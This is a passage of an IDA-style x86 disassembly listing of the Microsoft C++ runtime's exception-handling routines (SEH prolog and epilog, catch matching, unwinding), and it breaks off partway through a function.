		mov	[ebp+var_1], 0
		jle	short loc_415211
		push	ebx
		push	esi

loc_4151C0:				; CODE XREF: sub_41519D+70j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		test	ebx, ebx
		lea	esi, [eax+4]
		jle	short loc_415205
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax

loc_4151DB:				; CODE XREF: sub_41519D+60j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_414F5E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415201
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_4151DB
		jmp	short loc_415205
; ---------------------------------------------------------------------------

loc_415201:				; CODE XREF: sub_41519D+58j
		mov	[ebp+var_1], 1

loc_415205:				; CODE XREF: sub_41519D+33j
					; sub_41519D+62j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_4151C0
		pop	esi
		pop	ebx

loc_415211:				; CODE XREF: sub_41519D+1Fj
		mov	al, [ebp+var_1]
		leave
		retn
sub_41519D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415216	proc near		; CODE XREF: sub_415769+30Ap
		push	4
		mov	eax, offset sub_41D60E
		call	sub_40E600
		call	sub_40F39E
		cmp	dword ptr [eax+94h], 0
		jz	short loc_415235
		call	sub_415C07

loc_415235:				; CODE XREF: sub_415216+18j
		and	dword ptr [ebp-4], 0
		call	sub_415BF4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	sub_415BBB
sub_415216	endp

; ---------------------------------------------------------------------------
		call	sub_40F39E
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_40E1BC
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41525F	proc near		; CODE XREF: sub_41560B+57p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0041537A SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_421C58
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40E4DA
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_40F39E
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_40F39E
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_40F39E
		mov	[eax+88h], esi
		call	sub_40F39E
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_40E56F
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_41535E
; ---------------------------------------------------------------------------

loc_4152EF:				; DATA XREF: r69pu5ti:00421C78o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_4150DF
		retn
; ---------------------------------------------------------------------------

loc_4152F8:				; DATA XREF: r69pu5ti:00421C78o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_40F39E
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_41531C
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_41531F
; ---------------------------------------------------------------------------

loc_41531C:				; CODE XREF: sub_41525F+B5j
		mov	ecx, [edi+8]

loc_41531F:				; CODE XREF: sub_41525F+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0

loc_415326:				; CODE XREF: sub_41525F+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_415346
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_41537A
		cmp	ecx, [eax+8]
		jg	short loc_41537A
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]

loc_415346:				; CODE XREF: sub_41525F+CDj
		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_414FFE
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]

loc_41535E:				; CODE XREF: sub_41525F+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_415385
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_41525F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41525F

loc_41537A:				; CODE XREF: sub_41525F+D9j
					; sub_41525F+DEj
		inc	[ebp+var_20]
		jmp	short loc_415326
; END OF FUNCTION CHUNK	FOR sub_41525F

; =============== S U B	R O U T	I N E =======================================



sub_41537F	proc near		; DATA XREF: r69pu5ti:00421C70o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41537F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415385	proc near		; CODE XREF: sub_41525F+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_40E523
		pop	ecx
		call	sub_40F39E
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_40F39E
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4153FA
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4153FA
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_4153D6
		cmp	eax, 19930521h
		jz	short loc_4153D6
		cmp	eax, 19930522h
		jnz	short locret_4153FA

loc_4153D6:				; CODE XREF: sub_415385+41j
					; sub_415385+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_4153FA
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4153FA
		push	dword ptr [esi+18h]
		call	sub_40E502
		pop	ecx
		test	eax, eax
		jz	short locret_4153FA
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_415124
		pop	ecx
		pop	ecx

locret_4153FA:				; CODE XREF: sub_415385+31j
					; sub_415385+37j ...
		retn
sub_415385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153FB	proc near		; CODE XREF: sub_41557A+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_421C80
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_415572
		cmp	[ecx+8], dl
		jz	loc_415572
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_415436
		test	dword ptr [eax], 80000000h
		jz	loc_415572

loc_415436:				; CODE XREF: sub_4153FB+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_415443
		lea	esi, [ecx+esi+0Ch]

loc_415443:				; CODE XREF: sub_4153FB+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_41548F
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415555
		push	ebx
		push	esi
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415555
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_415480:				; CODE XREF: sub_4153FB+E7j
		push	eax
		call	sub_415178
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_41555A
; ---------------------------------------------------------------------------

loc_41548F:				; CODE XREF: sub_4153FB+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_4154E4
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415555
		push	ebx
		push	esi
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415555
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_411470
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_41555A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41555A
		add	edi, 8
		push	edi
		jmp	short loc_415480
; ---------------------------------------------------------------------------

loc_4154E4:				; CODE XREF: sub_4153FB+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_415521
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415555
		push	ebx
		push	esi
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415555
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_415178
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_411470
		add	esp, 0Ch
		jmp	short loc_41555A
; ---------------------------------------------------------------------------

loc_415521:				; CODE XREF: sub_4153FB+ECj
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415555
		push	ebx
		push	esi
		call	sub_419CC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415555
		push	dword ptr [edi+18h]
		call	sub_419CC4
		pop	ecx
		test	eax, eax
		jz	short loc_415555
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_41555A
; ---------------------------------------------------------------------------

loc_415555:				; CODE XREF: sub_4153FB+62j
					; sub_4153FB+73j ...
		call	sub_415C07

loc_41555A:				; CODE XREF: sub_4153FB+8Fj
					; sub_4153FB+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_415574
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	sub_415BBB
; ---------------------------------------------------------------------------

loc_415572:				; CODE XREF: sub_4153FB+19j
					; sub_4153FB+22j ...
		xor	eax, eax

loc_415574:				; CODE XREF: sub_4153FB+169j
		call	__SEH_epilog4
		retn
sub_4153FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41557A	proc near		; CODE XREF: sub_41560B+11p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	8
		push	offset dword_421CA0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_415596
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4155A0
; ---------------------------------------------------------------------------

loc_415596:				; CODE XREF: sub_41557A+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]

loc_4155A0:				; CODE XREF: sub_41557A+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4153FB
		add	esp, 10h
		dec	eax
		jz	short loc_4155DA
		dec	eax
		jnz	short loc_4155F2
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_415178
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40E236
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155DA:				; CODE XREF: sub_41557A+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_415178
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_40E236

loc_4155F2:				; CODE XREF: sub_41557A+42j
					; sub_41557A+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_41557A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_415BBB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41560B	proc near		; CODE XREF: sub_415677+D4p
					; sub_415769+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_415624
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_41557A
		add	esp, 10h

loc_415624:				; CODE XREF: sub_41560B+7j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_415630
		push	esi
		jmp	short loc_415633
; ---------------------------------------------------------------------------

loc_415630:				; CODE XREF: sub_41560B+20j
		push	[ebp+arg_18]

loc_415633:				; CODE XREF: sub_41560B+23j
		call	sub_40E23D
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_414FFE
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41525F
		add	esp, 28h
		test	eax, eax
		jz	short loc_415675
		push	esi
		push	eax
		call	sub_40E206

loc_415675:				; CODE XREF: sub_41560B+61j
		pop	ebp
		retn
sub_41560B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415677	proc near		; CODE XREF: sub_415769+336p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_415766
		push	edi
		call	sub_40F39E
		cmp	dword ptr [eax+80h], 0
		jz	short loc_4156DA
		call	sub_40F39E
		lea	edi, [eax+80h]
		call	sub_40F18B
		cmp	[edi], eax
		jz	short loc_4156DA
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_4156DA
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40E2F5
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_415765

loc_4156DA:				; CODE XREF: sub_415677+22j
					; sub_415677+36j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4156E8
		call	sub_415C07

loc_4156E8:				; CODE XREF: sub_415677+6Aj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_40E467
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_415765
		push	ebx

loc_41570B:				; CODE XREF: sub_415677+EBj
		cmp	esi, [edi]
		jl	short loc_415756
		cmp	esi, [edi+4]
		jg	short loc_415756
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41572C
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_415756

loc_41572C:				; CODE XREF: sub_415677+ADj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_415756
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41560B
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch

loc_415756:				; CODE XREF: sub_415677+96j
					; sub_415677+9Bj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_41570B
		pop	ebx

loc_415765:				; CODE XREF: sub_415677+5Dj
					; sub_415677+91j
		pop	edi

loc_415766:				; CODE XREF: sub_415677+Fj
		pop	esi
		leave
		retn
sub_415677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415769	proc near		; CODE XREF: sub_415AD7+D4p

var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_41578C
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_41578F
; ---------------------------------------------------------------------------

loc_41578C:				; CODE XREF: sub_415769+1Bj
		mov	ecx, [ecx+8]

loc_41578F:				; CODE XREF: sub_415769+21j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_41579B
		cmp	ecx, eax
		jl	short loc_4157A0

loc_41579B:				; CODE XREF: sub_415769+2Cj
		call	sub_415C07

loc_4157A0:				; CODE XREF: sub_415769+30j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_415A7B
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_4158E8
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_4157D8
		cmp	eax, 19930521h
		jz	short loc_4157D8
		cmp	eax, 19930522h
		jnz	loc_4158E8

loc_4157D8:				; CODE XREF: sub_415769+5Bj
					; sub_415769+62j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_4158E8
		call	sub_40F39E
		cmp	dword ptr [eax+88h], 0
		jz	loc_415ABA
		call	sub_40F39E
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_40F39E
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_419CC4
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415823
		call	sub_415C07

loc_415823:				; CODE XREF: sub_415769+B3j
		cmp	[esi], edi
		jnz	short loc_41584D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41584D
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_415842
		cmp	eax, 19930521h
		jz	short loc_415842
		cmp	eax, 19930522h
		jnz	short loc_41584D

loc_415842:				; CODE XREF: sub_415769+C9j
					; sub_415769+D0j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41584D
		call	sub_415C07

loc_41584D:				; CODE XREF: sub_415769+BCj
					; sub_415769+C2j ...
		call	sub_40F39E
		cmp	dword ptr [eax+94h], 0
		jz	loc_4158E8
		call	sub_40F39E
		mov	edi, [eax+94h]
		call	sub_40F39E
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_41519D
		test	al, al
		pop	ecx
		jnz	short loc_4158E0
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_4158A7

loc_41588A:				; CODE XREF: sub_415769+13Cj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_423E30
		call	sub_40CBE6
		test	al, al
		jnz	short loc_4158AC
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_41588A

loc_4158A7:				; CODE XREF: sub_415769+11Fj
					; sub_415769+31Cj
		jmp	sub_415BBB
; ---------------------------------------------------------------------------

loc_4158AC:				; CODE XREF: sub_415769+134j
		push	1
		push	[ebp+arg_0]
		call	sub_415124
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_2C]
		mov	[ebp+arg_0], offset dword_41EC1C
		call	sub_40C7DB
		push	offset dword_421CBC
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], offset off_41EC14
		call	sub_40E1BC

loc_4158E0:				; CODE XREF: sub_415769+119j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h

loc_4158E8:				; CODE XREF: sub_415769+50j
					; sub_415769+69j ...
		cmp	[esi], edi
		jnz	loc_415A78
		cmp	dword ptr [esi+10h], 3
		jnz	loc_415A78
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_415913
		cmp	eax, 19930521h
		jz	short loc_415913
		cmp	eax, 19930522h
		jnz	loc_415A78

loc_415913:				; CODE XREF: sub_415769+196j
					; sub_415769+19Dj
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_4159DF
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_40E467
		add	esp, 14h
		mov	edi, eax

loc_415939:				; CODE XREF: sub_415769+26Ej
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_4159DC
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_4159D1
		cmp	eax, [edi+4]
		jg	short loc_4159D1
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		test	eax, eax
		mov	[ebp+var_18], eax
		jle	short loc_4159D1

loc_415965:				; CODE XREF: sub_415769+23Cj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_14], eax
		jle	short loc_41599A

loc_415977:				; CODE XREF: sub_415769+22Fj
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_414F5E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4159A9
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_415977

loc_41599A:				; CODE XREF: sub_415769+20Cj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_415965
		jmp	short loc_4159D1
; ---------------------------------------------------------------------------

loc_4159A9:				; CODE XREF: sub_415769+224j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_41560B
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch

loc_4159D1:				; CODE XREF: sub_415769+1E1j
					; sub_415769+1EAj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_415939
; ---------------------------------------------------------------------------

loc_4159DC:				; CODE XREF: sub_415769+1D6j
		mov	edi, [ebp+arg_10]

loc_4159DF:				; CODE XREF: sub_415769+1B1j
		cmp	[ebp+arg_14], 0
		jz	short loc_4159EF
		push	1
		push	esi
		call	sub_415124
		pop	ecx
		pop	ecx

loc_4159EF:				; CODE XREF: sub_415769+27Aj
		cmp	[ebp+var_1], 0
		jnz	loc_415AA7
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_415AA7
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_415AA7
		push	esi
		call	sub_41519D
		test	al, al
		pop	ecx
		jnz	loc_415AA7
		call	sub_40F39E
		call	sub_40F39E
		call	sub_40F39E
		mov	[eax+88h], esi
		call	sub_40F39E
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_415A54
		push	[ebp+arg_4]
		jmp	short loc_415A57
; ---------------------------------------------------------------------------

loc_415A54:				; CODE XREF: sub_415769+2E4j
		push	[ebp+arg_1C]

loc_415A57:				; CODE XREF: sub_415769+2E9j
		call	sub_40E23D
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_414FFE
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_415216

loc_415A78:				; CODE XREF: sub_415769+181j
					; sub_415769+18Bj ...
		mov	ebx, [ebp+arg_10]

loc_415A7B:				; CODE XREF: sub_415769+41j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_415AA7
		cmp	[ebp+arg_14], 0
		jnz	loc_4158A7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_415677
		add	esp, 20h

loc_415AA7:				; CODE XREF: sub_415769+28Aj
					; sub_415769+29Cj ...
		call	sub_40F39E
		cmp	dword ptr [eax+94h], 0
		jz	short loc_415ABA
		call	sub_415C07

loc_415ABA:				; CODE XREF: sub_415769+85j
					; sub_415769+34Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415769	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_40C841
		mov	dword ptr [esi], offset	off_41EC14
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AD7	proc near		; CODE XREF: sub_40E28F+21p
					; .text:0040E2EBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_40F39E
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_415B20
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_415B20
		cmp	edx, 80000026h
		jz	short loc_415B20
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_415B20
		test	byte ptr [eax+20h], 1
		jnz	loc_415BB3

loc_415B20:				; CODE XREF: sub_415AD7+27j
					; sub_415AD7+2Dj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_415B49
		cmp	dword ptr [eax+4], 0
		jz	loc_415BB3
		cmp	[ebp+arg_14], 0
		jnz	short loc_415BB3
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_414FFE
		add	esp, 10h
		jmp	short loc_415BB3
; ---------------------------------------------------------------------------

loc_415B49:				; CODE XREF: sub_415AD7+4Dj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_415B61
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_415BB3
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_415BB3

loc_415B61:				; CODE XREF: sub_415AD7+76j
		cmp	[ecx], edi
		jnz	short loc_415B97
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_415B97
		cmp	[ecx+14h], ebx
		jbe	short loc_415B97
		mov	edx, [ecx+1Ch]
